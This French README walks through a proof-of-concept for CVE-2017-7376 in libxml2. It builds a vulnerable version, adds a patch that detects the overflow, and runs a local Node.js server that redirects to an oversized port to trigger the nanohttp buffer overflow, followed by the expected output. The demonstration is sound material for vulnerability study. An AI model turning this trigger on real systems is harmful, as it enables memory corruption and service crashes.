
Un exemple d'exploit pour CVE-2017-7376
Un exemple d'exploit pour CVE-2017-7376
Téléchargez ce dépôt ainsi qu'une version vulnérable de libxml2, par exemple v2.7.7 :
git clone https://github.com/brahmstaedt/libxml2-exploit.git
cd libxml2-exploit
wget https://github.com/GNOME/libxml2/archive/v2.7.7.zip
unzip v2.7.7.zip
mv libxml2-2.7.7/ libxml2
cd libxml2
Pour rendre la réussite de l'exploit plus visible, ajoutez du code pour détecter le dépassement de tampon dans libxml2. Pas nécessaire si vous disposez d'autres moyens de visibilité, comme le crash de l'application.
git apply ../nanohttp.patch
./autogen.sh --prefix=$(pwd)/ --without-python
make
make install
En cas d'erreur suivante :
aclocal: warning: autoconf input should be named 'configure.ac', not 'configure.in'
Remplacez dans configure.in AM_C_PROTOTYPES par dnl AM_C_PROTOTYPES, par exemple comme ceci :
sed 's:AM_C_PROTOTYPES:dnl AM_C_PROTOTYPES:' configure.in -i
Revenez en arrière
cd ..
Cet exploit nécessite un serveur web répondant par une redirection vers une nouvelle URL avec un numéro de port supérieur à 5 chiffres et inférieur à int32max (2147483648 = 2^32/2).
Lancez le serveur (nécessite Node JS et que le port 127.0.0.1:8080 soit libre) :
node http.js &
Testez le serveur web ; il devrait se plaindre d'un numéro de port invalide 2147426192 :
wget localhost:8080
make
./run.sh
Sortie attendue :
Buffer overflow is detected
I/O warning : failed to load HTTP resource
buffer_overflow.xml:4: element include: XInclude error : could not load http://localhost:8080/dummy.xml, and no fallback was found
Failed to process include buffer_overflow.xml
Cet exploit de démonstration nécessite que le programme principal exécute xmlXIncludeProcess() pour atteindre le code défectueux dans
libxml2, ce qui n'est probablement pas utilisé dans de nombreuses implémentations réelles. Mais nanohttp.c mentionne dans son commentaire
qu'il s'agit d'une implémentation HTTP GET minimaliste pour récupérer des sous-ensembles externes ce qui pourrait offrir une autre voie d'exploitation.